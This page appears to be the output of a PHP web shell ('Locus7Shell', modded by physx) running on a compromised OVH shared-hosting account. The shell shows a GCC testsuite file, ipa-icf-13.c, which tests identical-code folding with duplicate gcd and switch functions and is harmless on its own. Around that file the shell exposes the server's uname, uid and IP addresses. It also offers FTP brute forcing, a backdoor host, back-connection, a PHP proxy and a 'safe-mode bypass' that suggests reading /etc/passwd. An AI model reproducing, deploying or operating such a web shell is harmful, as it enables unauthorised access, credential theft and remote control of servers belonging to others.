Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/ipa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     ipa-icf-13.c (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-ipa-icf-optimized-all-all"  } */

#include <stdlib.h>
#include <stdio.h>

int gcd(int x, int y) __attribute__ ((pure));

__attribute__ ((noinline))
int gcd(int x, int y)
{
  int swap;

  if(x <= 0 || y <= 0)
    return 0;

  if(x < y)
    {
      swap = x;
      x = y;
      y = swap;
    }

  while(x != y)
    {
      x = x - y;

      if(y > x)
    {
      swap = x;
      x = y;
      y = swap;
    }
    }

  return x;
}

int nsd(int x, int y) __attribute__ ((pure));

__attribute__ ((noinline))
int nsd(int x, int y)
{
  int swap;

  if(x <= 0 || y <= 0)
    return 0;

  if(x < y)
    {
      swap = x;
      x = y;
      y = swap;
    }

  while(x != y)
    {
      x = x - y;

      if(y > x)
    {
      swap = x;
      x = y;
      y = swap;
    }
    }

  return x;
}

int nsd_different_result(int x, int y) __attribute__ ((pure));

__attribute__ ((noinline))
int nsd_different_result(int x, int y)
{
  int pes;

  if(x <= 0 || y <= 0)
    return 1;

  if(x < 10)
    y = 12;
  else if(x == 44)
    y = 124;
  else
    y = 1111;

  if(x < y)
    {
      pes = x;
      x = y;
      y = pes;
    }

  while(x != y)
    {
      x = x - y;

      if(y > x)
    {
      pes = x;
      x = y;
      y = pes;
    }
    }

  return x;
}

int nsd_different_result2(int x, int y) __attribute__ ((pure));

__attribute__ ((noinline))
int nsd_different_result2(int x, int y)
{
  int pes;

  if(x <= 0 || y <= 0)
    return 1;

  if(x < 10)
    y = 12;
  else if(x == 44)
    y = 124;
  else
    y = 1111;

  if(x < y)
    {
      pes = x;
      x = y;
      y = pes;
    }

  while(x != y)
    {
      x = x - y;

      if(y > x)
    {
      pes = x;
      x = y;
      y = pes;
    }
    }

  return x;
}

__attribute__ ((noinline))
int s1(int x)
{
  switch (x)
    {
    case 10:
    case 11:
      return 2;
    case 12:
      return 123;
    default:
      return x + 2;
    }
}

__attribute__ ((noinline))
int s2(int x)
{
  switch (x)
    {
    case 10:
    case 11:
      return 2;
    case 12:
      return 123;
    default:
      return x + 2;
    }
}
int main(int argc, char **argv)
{
  if(argc < 3)
    return 1;

  int a = atoi(argv[1]);
  int b = atoi(argv[2]);

  printf("Test1: %d, %d, gdc: %d\n", a, b, gcd(a, b));
  printf("Test2: %d, %d, gdc: %d\n", a, b, nsd(a, b));
}

/* { dg-final { scan-ipa-dump "Semantic equality hit:s1/\[0-9+\]+->s2/\[0-9+\]+" "icf"  } } */
/* { dg-final { scan-ipa-dump "Semantic equality hit:nsd_different_result/\[0-9+\]+->nsd_different_result2/\[0-9+\]+" "icf"  } } */
/* { dg-final { scan-ipa-dump "Semantic equality hit:gcd/\[0-9+\]+->nsd/\[0-9+\]+" "icf"  } } */
/* { dg-final { scan-ipa-dump "Equal symbols: 3" "icf"  } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0066 ]--